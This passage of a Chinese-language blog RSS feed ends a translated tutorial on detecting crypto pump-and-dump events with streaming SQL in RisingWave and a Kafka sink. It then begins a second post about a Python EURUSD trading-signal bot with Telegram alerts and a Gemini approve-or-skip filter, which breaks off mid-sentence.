&#x5E76;&#x76D1;&#x542C;&#x65B0;&#x7684;&#x8B66;&#x62A5;&#x884C;&#x3002;</p><p>&#x8981;&#x542F;&#x7528;&#x6B64;&#x529F;&#x80FD;&#xFF0C;&#x60A8;&#x9996;&#x5148;&#x9700;&#x8981;&#x5728;&#x6700;&#x7EC8;&#x7684;&#x8B66;&#x62A5;&#x89C6;&#x56FE;&#x4E0A;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x8BA2;&#x9605;&#xFF1A;</p><pre><code>CREATE SUBSCRIPTION alert_sub FROM alerts_payload;

</code></pre><p>&#x60A8;&#x7684;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x53EF;&#x4EE5;&#x8FDE;&#x63A5;&#x5E76;&#x83B7;&#x53D6;&#x5B9E;&#x65F6;&#x53D1;&#x751F;&#x7684;&#x8B66;&#x62A5;&#x3002;</p><h3 id="%E9%80%89%E9%A1%B9-2%EF%BC%9A%E5%B0%86%E6%95%B0%E6%8D%AE%E4%B8%8B%E6%B2%89%E5%88%B0%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97">&#x9009;&#x9879; 2&#xFF1A;&#x5C06;&#x6570;&#x636E;&#x4E0B;&#x6C89;&#x5230;&#x6D88;&#x606F;&#x961F;&#x5217;</h3><p>&#x66F4;&#x4F20;&#x7EDF;&#x7684;&#x65B9;&#x6CD5;&#x662F;&#x4F7F;&#x7528; <strong>Sink</strong>&#xFF0C;&#x5B83;&#x5C06; RisingWave &#x4E2D;&#x7684;&#x6570;&#x636E;&#x66F4;&#x6539;&#x63A8;&#x9001;&#x5230;&#x5916;&#x90E8;&#x7CFB;&#x7EDF;&#xFF0C;&#x5982; Apache Kafka&#x3002;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x975E;&#x5E38;&#x9002;&#x5408;&#x89E3;&#x8026;&#x7CFB;&#x7EDF;&#xFF0C;&#x63D0;&#x4F9B;&#x6D88;&#x606F;&#x961F;&#x5217;&#x4E2D;&#x7684;&#x6301;&#x4E45;&#x5B58;&#x50A8;&#xFF0C;&#x5E76;&#x5C06;&#x8B66;&#x62A5;&#x6247;&#x51FA;&#x5230;&#x591A;&#x4E2A;&#x72EC;&#x7ACB;&#x7684;&#x6D88;&#x8D39;&#x8005;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x3002;</p><p>&#x9996;&#x5148;&#xFF0C;&#x6211;&#x4EEC;&#x4E3A;&#x8B66;&#x62A5;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x5E72;&#x51C0;&#x3001;&#x4E30;&#x5BCC;&#x7684;&#x8D1F;&#x8F7D;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW alerts_payload AS
SELECT
  a.pair_id, a.bucket_start,
  a.is_pump, a.is_dump,
  f.ret_1m, f.ret_5m, f.vol, f.z_vol, f.buy_ratio
FROM pump_dump_alerts a
JOIN flow_features f
  ON f.pair_id = a.pair_id AND f.bucket_start = a.bucket_start;

</code></pre><p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x521B;&#x5EFA;&#x4E00;&#x4E2A; sink &#x5C06;&#x6570;&#x636E;&#x53D1;&#x9001;&#x5230; Kafka &#x4E3B;&#x9898;&#x3002;&#x8FD9;&#x4E5F;&#x53EF;&#x4EE5;&#x8F7B;&#x677E;&#x914D;&#x7F6E;&#x4E3A; webhook&#x3001;&#x5BF9;&#x8C61;&#x5B58;&#x50A8;&#x6216;&#x53E6;&#x4E00;&#x4E2A;&#x6570;&#x636E;&#x5E93;&#x3002;</p><pre><code>CREATE SINK pump_dump_alerts_sink
FROM alerts_payload
WITH (
  connector = &apos;kafka&apos;,
  topic = &apos;alerts.pump_dump&apos;,
  properties.bootstrap.server = &apos;localhost:9092&apos;
) FORMAT PLAIN ENCODE JSON (
    force_append_only = &apos;true&apos;
);

</code></pre><h2 id="5%E3%80%81%E4%BB%8E%E4%BB%A3%E7%A0%81%E5%88%B0%E7%B3%BB%E7%BB%9F%EF%BC%9A%E7%94%9F%E4%BA%A7%E5%B0%B1%E7%BB%AA%E7%9A%84%E8%80%83%E8%99%91%E4%BA%8B%E9%A1%B9">5&#x3001;&#x4ECE;&#x4EE3;&#x7801;&#x5230;&#x7CFB;&#x7EDF;&#xFF1A;&#x751F;&#x4EA7;&#x5C31;&#x7EEA;&#x7684;&#x8003;&#x8651;&#x4E8B;&#x9879;</h2><p>&#x867D;&#x7136;&#x8FD9;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x5B8C;&#x6574;&#x4E14;&#x53EF;&#x5DE5;&#x4F5C;&#x7684;&#x7CFB;&#x7EDF;&#xFF0C;&#x4F46;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E2D;&#x8FD8;&#x9700;&#x8981;&#x8003;&#x8651;&#x4EE5;&#x4E0B;&#x51E0;&#x70B9;&#xFF1A;</p><ul><li><strong>&#x5904;&#x7406;&#x6570;&#x636E;&#x7F3A;&#x9677;&#xFF1A;</strong> &#x6C34;&#x5370;&#x5BF9;&#x4E8E;&#x7BA1;&#x7406;&#x8FDF;&#x5230;&#x7684;&#x6570;&#x636E;&#x548C;&#x786E;&#x4FDD;&#x6B63;&#x786E;&#x6027;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x3002;&#x6839;&#x636E;&#x60A8;&#x7684;&#x6E90;&#x7684;&#x5178;&#x578B;&#x5EF6;&#x8FDF;&#x8C03;&#x6574;&#x6C34;&#x5370;&#x95F4;&#x9694;&#x3002;</li><li><strong>&#x8C03;&#x6574;&#x548C;&#x56DE;&#x6D4B;&#xFF1A;</strong> &#x8BC4;&#x5206;&#x89C4;&#x5219;&#x4E2D;&#x4F7F;&#x7528;&#x7684;&#x9608;&#x503C;&#x5E76;&#x975E;&#x666E;&#x904D;&#x9002;&#x7528;&#x3002;&#x5B83;&#x4EEC;&#x5E94;&#x6839;&#x636E;&#x5386;&#x53F2;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x8C03;&#x6574;&#x3002;&#x60A8;&#x53EF;&#x4EE5;&#x5C06;&#x6240;&#x6709; flow_features &#x6570;&#x636E;&#x4E0B;&#x6C89;&#x5230;&#x5206;&#x6790;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#xFF0C;&#x4EE5;&#x627E;&#x5230;&#x5E73;&#x8861;&#x4E0D;&#x540C;&#x5E02;&#x573A;&#x7CBE;&#x5EA6;&#x548C;&#x53EC;&#x56DE;&#x7387;&#x7684;&#x6700;&#x4F73;&#x53C2;&#x6570;&#x3002;</li><li><strong>&#x7A00;&#x758F;&#x5E02;&#x573A;&#xFF1A;</strong> &#x5BF9;&#x4E8E;&#x6D41;&#x52A8;&#x6027;&#x5DEE;&#x7684;&#x5BF9;&#xFF0C;&#x6210;&#x4EA4;&#x91CF;&#x548C;&#x56DE;&#x62A5;&#x6307;&#x6807;&#x53EF;&#x80FD;&#x975E;&#x5E38;&#x5608;&#x6742;&#x3002;&#x8003;&#x8651;&#x4F7F;&#x7528;&#x6211;&#x4EEC;&#x8BA8;&#x8BBA;&#x8FC7;&#x7684; active_pairs &#x8FC7;&#x6EE4;&#x5668;&#xFF0C;&#x6216;&#x8005;&#x5728; Z &#x5206;&#x6570;&#x8BA1;&#x7B97;&#x4E2D;&#x4F7F;&#x7528;&#x66F4;&#x7A33;&#x5065;&#x7684;&#x7EDF;&#x8BA1;&#x65B9;&#x6CD5;&#xFF0C;&#x5982;&#x4E2D;&#x4F4D;&#x6570;&#x548C;&#x5E73;&#x5747;&#x7EDD;&#x5BF9;&#x504F;&#x5DEE;&#xFF08;MAD&#xFF09;&#x800C;&#x4E0D;&#x662F;&#x5747;&#x503C;&#x548C;&#x6807;&#x51C6;&#x5DEE;&#x3002;</li></ul><h2 id="6%E3%80%81%E7%BB%93%E6%9D%9F%E8%AF%AD">6&#x3001;&#x7ED3;&#x675F;&#x8BED;</h2><p>&#x4EC5;&#x901A;&#x8FC7;&#x51E0;&#x4E2A;&#x58F0;&#x660E;&#x6027;&#x7684; SQL &#x67E5;&#x8BE2;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x6784;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x590D;&#x6742;&#x4E14;&#x5B9E;&#x65F6;&#x7684;&#x4E8B;&#x4EF6;&#x68C0;&#x6D4B;&#x7CFB;&#x7EDF;&#x3002;&#x6211;&#x4EEC;&#x63A5;&#x6536;&#x4E86;&#x4E00;&#x4E2A;&#x9AD8;&#x5BB9;&#x91CF;&#x7684;&#x6570;&#x636E;&#x6D41;&#xFF0C;&#x8FDB;&#x884C;&#x4E86;&#x72B6;&#x6001;&#x5316;&#x3001;&#x65F6;&#x95F4;&#x7A97;&#x53E3;&#x5316;&#x7684;&#x8BA1;&#x7B97;&#xFF0C;&#x5E76;&#x5C06;&#x53EF;&#x64CD;&#x4F5C;&#x7684;&#x8B66;&#x62A5;&#x63A8;&#x9001;&#x5230;&#x5916;&#x90E8;&#x7CFB;&#x7EDF;&#x3002;&#x8FD9;&#x5C55;&#x793A;&#x4E86;&#x50CF; RisingWave &#x8FD9;&#x6837;&#x7684;&#x6D41;&#x6570;&#x636E;&#x5E93;&#x5904;&#x7406;&#x590D;&#x6742;&#x3001;&#x5B9E;&#x65F6;&#x5206;&#x6790;&#x4EFB;&#x52A1;&#x7684;&#x80FD;&#x529B;&#xFF0C;&#x8FD9;&#x4E9B;&#x4EFB;&#x52A1;&#x66FE;&#x7ECF;&#x662F;&#x590D;&#x6742;&#x5B9A;&#x5236;&#x4EE3;&#x7801;&#x7684;&#x9886;&#x57DF;&#x3002;</p><p>&#x4ECE;&#x8FD9;&#x91CC;&#xFF0C;&#x8FD9;&#x4E2A;&#x7CFB;&#x7EDF;&#x53EF;&#x4EE5;&#x8FDB;&#x4E00;&#x6B65;&#x6269;&#x5C55;&#xFF1A;</p><ul><li><strong>&#x7ED3;&#x5408;&#x8BA2;&#x5355;&#x7C3F;&#x6570;&#x636E;&#xFF1A;</strong> &#x5206;&#x6790;&#x8BF8;&#x5982;&#x4E70;&#x5356;&#x4EF7;&#x5DEE;&#x6269;&#x5927;&#x3001;&#x5E02;&#x573A;&#x6DF1;&#x5EA6;&#x548C;&#x4EF7;&#x683C;&#x6ED1;&#x70B9;&#x7B49;&#x7279;&#x5F81;&#xFF0C;&#x4EE5;&#x83B7;&#x5F97;&#x66F4;&#x7A33;&#x5065;&#x7684;&#x4FE1;&#x53F7;&#x3002;</li><li><strong>&#x96C6;&#x6210;&#x5916;&#x90E8;&#x4FE1;&#x53F7;&#xFF1A;</strong> &#x5C06;&#x4EF7;&#x683C;/&#x6210;&#x4EA4;&#x91CF;&#x52A8;&#x4F5C;&#x4E0E;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x60C5;&#x7EEA;&#x6216;&#x65B0;&#x95FB;&#x516C;&#x544A;&#x6D41;&#x7ED3;&#x5408;&#x8D77;&#x6765;&#x3002;</li><li><strong>&#x5E94;&#x7528;&#x673A;&#x5668;&#x5B66;&#x4E60;&#xFF1A;</strong> &#x4F7F;&#x7528;&#x8BA1;&#x7B97;&#x51FA;&#x7684;&#x7279;&#x5F81;&#x8BAD;&#x7EC3;&#x4E00;&#x4E2A;&#x8F7B;&#x91CF;&#x7EA7;&#x5206;&#x7C7B;&#x6A21;&#x578B;&#xFF08;&#x5982;&#x903B;&#x8F91;&#x56DE;&#x5F52;&#x6216;&#x68AF;&#x5EA6;&#x63D0;&#x5347;&#x6811;&#xFF09;&#x4EE5;&#x4EA7;&#x751F;&#x66F4;&#x7EC6;&#x81F4;&#x7684;&#x6CF5;-&#x629B;&#x552E;&#x8BC4;&#x5206;&#x3002;</li></ul><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://risingwave.com/blog/build-real-time-crypto-pump-dump-detector-sql/?ref=defiplot.com">Building a Real-Time Crypto Pump-and-Dump Detector with SQL</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[用 AI 过滤交易信号]]></title><description><![CDATA[我在基于规则的逻辑之上添加了一个小的 Gemini AI 过滤器。机器人计算设置，构建最近市场状况的快照，并询问 Gemini 是否环境看起来足够干净还是太混乱。]]></description><link>https://defiplot.com/blog/filtering-trading-signals-with-ai/</link><guid isPermaLink="false">69388de8214cd9153d7450c5</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Tue, 09 Dec 2025 21:11:58 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2025/12/filtering-crypto-trading-signals-with-ai.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2025/12/filtering-crypto-trading-signals-with-ai.png" alt="&#x7528; AI &#x8FC7;&#x6EE4;&#x4EA4;&#x6613;&#x4FE1;&#x53F7;"><p>&#x6211;&#x60F3;&#x8981;&#x4E00;&#x4E2A;&#x5C0F;&#x578B;&#x7684;&#x673A;&#x5668;&#x4EBA;&#x6765;&#x5E2E;&#x6211;&#x76D1;&#x63A7; EURUSD&#xFF0C;&#x9075;&#x5FAA;&#x4E00;&#x5957;&#x660E;&#x786E;&#x7684;&#x89C4;&#x5219;&#xFF0C;&#x5E76;&#x4E14;&#x53EA;&#x5728;&#x5E02;&#x573A;&#x770B;&#x8D77;&#x6765;&#x826F;&#x597D;&#x7684;&#x65F6;&#x5019;&#x53D1;&#x9001;&#x6E05;&#x6670;&#x7684;&#x8B66;&#x62A5;&#x3002;&#x6211;&#x5E76;&#x4E0D;&#x662F;&#x8BD5;&#x56FE;&#x9884;&#x6D4B;&#x672A;&#x6765;&#x6216;&#x5EFA;&#x7ACB;&#x4E00;&#x4E2A;&#x795E;&#x5947;&#x7684;&#x8D5A;&#x94B1;&#x673A;&#x5668;&#x3002;&#x6211;&#x53EA;&#x662F;&#x60F3;&#x8981;&#x7ED3;&#x6784;&#x3002;&#x8FD9;&#x4E2A;&#x60F3;&#x6CD5;&#x5F88;&#x7B80;&#x5355;&#xFF1A;&#x8BA9;&#x673A;&#x5668;&#x4EBA;&#x505A;&#x67AF;&#x71E5;&#x7684;&#x90E8;&#x5206;&#xFF0C;&#x9075;&#x5B88;&#x89C4;&#x5219;&#xFF0C;&#x5E76;&#x907F;&#x514D;&#x8FC7;&#x5EA6;&#x4EA4;&#x6613;&#x3002;</p><p>&#x5927;&#x591A;&#x6570;&#x57FA;&#x7840;&#x673A;&#x5668;&#x4EBA;&#x4E00;&#x65E6;&#x6709;&#x4EFB;&#x4F55;&#x6307;&#x6807;&#x4EA4;&#x53C9;&#x5C31;&#x4F1A;&#x89E6;&#x53D1;&#x3002;&#x8FD9;&#x53EF;&#x80FD;&#x662F;&#x4E00;&#x4E2A;&#x5355;&#x4E00;&#x7684; EMA &#x4EA4;&#x53C9;&#x6216;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; RSI &#x6C34;&#x5E73;&#x3002;&#x5728;&#x5B9E;&#x9645;&#x4EA4;&#x6613;&#x4E2D;&#xFF0C;&#x4F60;&#x4ECE;&#x4E0D;&#x4F9D;&#x8D56;&#x4E8E;&#x4E00;&#x4E2A;&#x56E0;&#x7D20;&#x3002;&#x4F60;&#x4F1A;&#x770B;&#x8D8B;&#x52BF;&#x3001;&#x52A8;&#x91CF;&#x3001;&#x6CE2;&#x52A8;&#x6027;&#x3001;&#x8721;&#x70DB;&#x5927;&#x5C0F;&#xFF0C;&#x751A;&#x81F3;&#x4E00;&#x5929;&#x4E2D;&#x7684;&#x65F6;&#x95F4;&#x3002;&#x6211;&#x5E0C;&#x671B;&#x6211;&#x7684;&#x673A;&#x5668;&#x4EBA;&#x66F4;&#x50CF;&#x4E00;&#x4E2A;&#x8010;&#x5FC3;&#x7684;&#x4EA4;&#x6613;&#x8005;&#x3002;&#x5B83;&#x5E94;&#x8BE5;&#x7B49;&#x5F85;&#x591A;&#x4E2A;&#x6761;&#x4EF6;&#x8FBE;&#x6210;&#x4E00;&#x81F4;&#xFF0C;&#x7136;&#x540E;&#x624D;&#x53D1;&#x9001;&#x4FE1;&#x53F7;&#x3002;</p><p>&#x4E3A;&#x4E86;&#x4F7F;&#x5B83;&#x66F4;&#x6709;&#x8DA3;&#xFF0C;&#x6211;&#x5728;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x903B;&#x8F91;&#x4E4B;&#x4E0A;&#x6DFB;&#x52A0;&#x4E86;&#x4E00;&#x4E2A;&#x5C0F;&#x7684; Gemini AI &#x8FC7;&#x6EE4;&#x5668;&#x3002;&#x673A;&#x5668;&#x4EBA;&#x8BA1;&#x7B97;&#x8BBE;&#x7F6E;&#xFF0C;&#x6784;&#x5EFA;&#x6700;&#x8FD1;&#x5E02;&#x573A;&#x72B6;&#x51B5;&#x7684;&#x5FEB;&#x7167;&#xFF0C;&#x5E76;&#x8BE2;&#x95EE; Gemini &#x662F;&#x5426;&#x73AF;&#x5883;&#x770B;&#x8D77;&#x6765;&#x8DB3;&#x591F;&#x5E72;&#x51C0;&#x8FD8;&#x662F;&#x592A;&#x6DF7;&#x4E71;&#x3002;Gemini &#x53EA;&#x80FD;&#x8BF4; APPROVE &#x6216; SKIP&#x3002;&#x5982;&#x679C;&#x5B83;&#x6279;&#x51C6;&#xFF0C;&#x4FE1;&#x53F7;&#x5C31;&#x4F1A;&#x901A;&#x8FC7;&#x3002;&#x5982;&#x679C;&#x5B83;&#x8DF3;&#x8FC7;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5FFD;&#x7565;&#x8BE5;&#x8BBE;&#x7F6E;&#x5E76;&#x7EE7;&#x7EED;&#x524D;&#x8FDB;&#x3002;</p><h2 id="1%E3%80%81%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86">1&#x3001;&#x5DE5;&#x4F5C;&#x539F;&#x7406;</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://defiplot.com/blog/content/images/2025/12/image-14.png" class="kg-image" alt="&#x7528; AI &#x8FC7;&#x6EE4;&#x4EA4;&#x6613;&#x4FE1;&#x53F7;" loading="lazy" width="1100" height="821" srcset="https://defiplot.com/blog/content/images/size/w600/2025/12/image-14.png 600w, https://defiplot.com/blog/content/images/size/w1000/2025/12/image-14.png 1000w, https://defiplot.com/blog/content/images/2025/12/image-14.png 1100w" sizes="(min-width: 720px) 720px"><figcaption>&#x673A;&#x5668;&#x4EBA;&#x7684;&#x6D41;&#x7A0B;&#x56FE;</figcaption></figure><p>&#x8FD9;&#x4E2A;&#x673A;&#x5668;&#x4EBA;&#x662F;&#x7528; Python &#x7F16;&#x5199;&#x7684;&#xFF0C;&#x5E76;&#x5728;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x5FAA;&#x73AF;&#x4E2D;&#x8FD0;&#x884C;&#x3002;&#x5B83;&#x4F7F;&#x7528; yfinance &#x83B7;&#x53D6; EURUSD &#x8721;&#x70DB;&#x6570;&#x636E;&#xFF0C;&#x4F7F;&#x7528; pandas &#x548C; numpy &#x5904;&#x7406;&#x6570;&#x636E;&#xFF0C;&#x4F7F;&#x7528; pytz &#x5904;&#x7406;&#x65F6;&#x533A;&#xFF0C;&#x4F7F;&#x7528; requests &#x4E0E; Telegram &#x901A;&#x4FE1;&#x3002;&#x5982;&#x679C;&#x5B58;&#x5728; Gemini API &#x5BC6;&#x94A5;&#xFF0C;&#x811A;&#x672C;&#x8FD8;&#x4F1A;&#x5BFC;&#x5165; <code>google.generativeai</code> &#x5E93;&#x5E76;&#x542F;&#x7528; AI &#x8FC7;&#x6EE4;&#x5668;&#x3002;&#x5982;&#x679C;&#x5BC6;&#x94A5;&#x7F3A;&#x5931;&#x6216;&#x672A;&#x5B89;&#x88C5;&#x8BE5;&#x5E93;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x5C06;&#x4E0D;&#x5E26; AI &#x5C42;&#x8FD0;&#x884C;&#xFF0C;&#x5E76;&#x9000;&#x56DE;&#x5230;&#x7EAF;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x7CFB;&#x7EDF;&#x3002;</p><p>&#x5728;&#x811A;&#x672C;&#x7684;&#x9876;&#x90E8;&#xFF0C;&#x6211;&#x4FDD;&#x5B58;&#x4E86;&#x6240;&#x6709;&#x4E3B;&#x8981;&#x7684;&#x8BBE;&#x7F6E;&#x3002;&#x673A;&#x5668;&#x4EBA;&#x5728; 1 &#x5206;&#x949F;&#x7684;&#x65F6;&#x95F4;&#x6846;&#x67B6;&#x4E0A;&#x76D1;&#x89C6; EURUSD &#x7B26;&#x53F7;&#x3002;&#x6211;&#x5B9A;&#x4E49; EMA &#x5FEB;&#x901F;&#x548C;&#x6162;&#x901F;&#x5468;&#x671F;&#x4E3A; 9 &#x548C; 21&#xFF0C;RSI &#x5468;&#x671F;&#x4E3A; 14&#xFF0C;MACD &#x5FEB;&#x901F;&#x3001;&#x6162;&#x901F;&#x548C;&#x4FE1;&#x53F7;&#x5468;&#x671F;&#xFF0C;&#x4EE5;&#x53CA;&#x5E03;&#x6797;&#x5E26;&#x53C2;&#x6570;&#x3002;&#x6211;&#x8FD8;&#x8BBE;&#x7F6E;&#x4E86;&#x68C0;&#x67E5;&#x95F4;&#x9694;&#x4E3A; 60 &#x79D2;&#xFF0C;&#x56E0;&#x6B64;&#x4E3B;&#x5FAA;&#x73AF;&#x6BCF;&#x5206;&#x949F;&#x8FD0;&#x884C;&#x4E00;&#x6B21;&#x3002;</p><p>&#x53E6;&#x4E00;&#x4E2A;&#x91CD;&#x8981;&#x7684;&#x53C2;&#x6570;&#x662F; <code>ONE_SIGNAL_PER_HOUR</code>&#x3002;&#x5F53;&#x6B64;&#x6807;&#x5FD7;&#x6253;&#x5F00;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x5C06;&#x5728;&#x6BCF;&#x4E2A;&#x5C0F;&#x65F6;&#x5F00;&#x59CB;&#x65F6;&#x5C1D;&#x8BD5;&#x521B;&#x5EFA;&#x65B0;&#x4FE1;&#x53F7;&#x3002;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x5B83;&#x4ECD;&#x7136;&#x6BCF;&#x5206;&#x949F;&#x5524;&#x9192;&#x4E00;&#x6B21;&#xFF0C;&#x4F46;&#x9664;&#x975E;&#x5F53;&#x524D;&#x5206;&#x949F;&#x662F;&#x96F6;&#xFF0C;&#x5426;&#x5219;&#x4F1A;&#x5FFD;&#x7565;&#x8BE6;&#x7EC6;&#x7684;&#x4FE1;&#x53F7;&#x903B;&#x8F91;&#x3002;&#x8FD9;&#x4FDD;&#x6301;&#x4E86;&#x8B66;&#x62A5;&#x7684;&#x7A00;&#x6709;&#x6027;&#x548C;&#x6613;&#x4E8E;&#x8DDF;&#x8E2A;&#x3002;</p><h2 id="2%E3%80%81%E5%B0%86%E6%9C%BA%E5%99%A8%E4%BA%BA%E8%BF%9E%E6%8E%A5%E5%88%B0-telegram">2&#x3001;&#x5C06;&#x673A;&#x5668;&#x4EBA;&#x8FDE;&#x63A5;&#x5230; Telegram</h2><p>&#x6211;&#x5E0C;&#x671B;&#x673A;&#x5668;&#x4EBA;&#x611F;&#x89C9;&#x50CF;&#x4E00;&#x4E2A;&#x901A;&#x77E5;&#x6D41;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x590D;&#x6742;&#x7684;&#x7EC8;&#x7AEF;&#x7A0B;&#x5E8F;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x6240;&#x6709;&#x8F93;&#x51FA;&#x90FD;&#x53D1;&#x9001;&#x5230; Telegram &#x804A;&#x5929;&#x3002;&#x5728;&#x811A;&#x672C;&#x4E2D;&#xFF0C;&#x4E00;&#x4E2A;&#x5C0F;&#x7684;&#x5E2E;&#x52A9;&#x51FD;&#x6570;&#x6784;&#x5EFA;&#x5BF9; Telegram Bot API &#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x53D1;&#x9001;&#x6D88;&#x606F;&#xFF0C;&#x5E76;&#x6253;&#x5370;&#x54CD;&#x5E94;&#x72B6;&#x6001;&#x3002;</p><p>&#x6BCF;&#x5F53;&#x673A;&#x5668;&#x4EBA;&#x542F;&#x52A8;&#x65F6;&#xFF0C;&#x5B83;&#x4F1A;&#x53D1;&#x9001;&#x4E00;&#x6761;&#x7B80;&#x77ED;&#x7684;&#x6D88;&#x606F;&#xFF0C;&#x8BF4;&#x660E;&#x9AD8;&#x7EA7; EURUSD &#x4FE1;&#x53F7;&#x673A;&#x5668;&#x4EBA;&#x5DF2;&#x4E0A;&#x7EBF;&#xFF0C;&#x5E76;&#x4E14;&#x4EC5;&#x7528;&#x4E8E;&#x6F14;&#x793A;&#x548C;&#x6559;&#x80B2;&#x7528;&#x9014;&#x3002;&#x7A0D;&#x540E;&#xFF0C;&#x5F53;&#x51FA;&#x73B0;&#x65B0;&#x4FE1;&#x53F7;&#x6216;&#x4EA4;&#x6613;&#x7ED3;&#x679C;&#x51C6;&#x5907;&#x5C31;&#x7EEA;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x53D1;&#x9001;&#x4E00;&#x6761;&#x6E05;&#x6670;&#x7684;&#x6D88;&#x606F;&#xFF0C;&#x5305;&#x542B;&#x65B9;&#x5411;&#x3001;&#x4EF7;&#x683C;&#x3001;&#x65F6;&#x95F4;&#x548C;&#x4FE1;&#x53F7;&#x539F;&#x56E0;&#x3002;&#x6BCF;&#x5929;&#x7ED3;&#x675F;&#x65F6;&#xFF0C;&#x5B83;&#x8FD8;&#x4F1A;&#x53D1;&#x9001;&#x4E00;&#x4E2A;&#x7B80;&#x77ED;&#x7684;&#x6BCF;&#x65E5;&#x603B;&#x7ED3;&#xFF0C;&#x5305;&#x62EC;&#x76C8;&#x5229;&#x548C;&#x4E8F;&#x635F;&#x3002;</p><h2 id="3%E3%80%81%E4%BB%8E-yahoo-finance-%E8%8E%B7%E5%8F%96-eurusd-%E6%95%B0%E6%8D%AE">3&#x3001;&#x4ECE; Yahoo Finance &#x83B7;&#x53D6; EURUSD &#x6570;&#x636E;</h2><p>&#x6BCF;&#x6B21;&#x673A;&#x5668;&#x4EBA;&#x60F3;&#x68C0;&#x67E5;&#x4FE1;&#x53F7;&#x65F6;&#xFF0C;&#x5B83;&#x9996;&#x5148;&#x4ECE; Yahoo Finance &#x83B7;&#x53D6;&#x65B0;&#x9C9C;&#x7684; EURUSD &#x6570;&#x636E;&#x3002;&#x5B83;&#x4E0B;&#x8F7D;&#x4E24;&#x5929;&#x7684;&#x4E00;&#x5206;&#x949F;&#x8721;&#x70DB;&#xFF0C;&#x4EE5;&#x4FBF;&#x6240;&#x6709;&#x6307;&#x6807;&#x90FD;&#x6709;&#x8DB3;&#x591F;&#x7684;&#x5386;&#x53F2;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x8BA1;&#x7B97;&#x3002;&#x7136;&#x540E;&#x51FD;&#x6570;&#x6E05;&#x7406;&#x6570;&#x636E;&#x5E76;&#x786E;&#x4FDD;&#x6709;&#x4E00;&#x4E2A;&#x9002;&#x5F53;&#x7684; Close &#x5217;&#x3002;Yahoo Finance &#x6709;&#x65F6;&#x4F1A;&#x8FD4;&#x56DE;&#x591A;&#x7EA7;&#x5217;&#xFF0C;&#x6240;&#x4EE5;&#x4EE3;&#x7801;&#x5904;&#x7406;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x5E76;&#x9009;&#x62E9;&#x4E00;&#x4E2A;&#x6709;&#x6548;&#x7684; Close &#x7CFB;&#x5217;&#x3002;</p><p>&#x5982;&#x679C;&#x6570;&#x636E;&#x7F3A;&#x5931;&#x3001;&#x4E3A;&#x7A7A;&#x6216;&#x4E0D;&#x5305;&#x542B;&#x53EF;&#x7528;&#x7684; Close &#x5217;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x6253;&#x5370;&#x9519;&#x8BEF;&#x5E76;&#x8DF3;&#x8FC7;&#x8BE5;&#x5468;&#x671F;&#x3002;&#x5982;&#x679C;&#x6570;&#x636E;&#x770B;&#x8D77;&#x6765;&#x826F;&#x597D;&#xFF0C;&#x5B83;&#x5C06;&#x7EE7;&#x7EED;&#x5E76;&#x6DFB;&#x52A0;&#x6307;&#x6807;&#x3002;</p><h2 id="4%E3%80%81%E6%B7%BB%E5%8A%A0-ema%E3%80%81rsi%E3%80%81macd-%E5%92%8C%E5%B8%83%E6%9E%97%E5%B8%A6">4&#x3001;&#x6DFB;&#x52A0; EMA&#x3001;RSI&#x3001;MACD &#x548C;&#x5E03;&#x6797;&#x5E26;</h2><p>&#x4E00;&#x65E6;&#x6E05;&#x6D01;&#x7684;&#x4EF7;&#x683C;&#x6570;&#x636E;&#x51C6;&#x5907;&#x597D;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x6DFB;&#x52A0;&#x6280;&#x672F;&#x6307;&#x6807;&#x3002;&#x9996;&#x5148;&#xFF0C;&#x5B83;&#x5728; Close &#x4EF7;&#x683C;&#x4E0A;&#x8BA1;&#x7B97; EMA 9 &#x548C; EMA 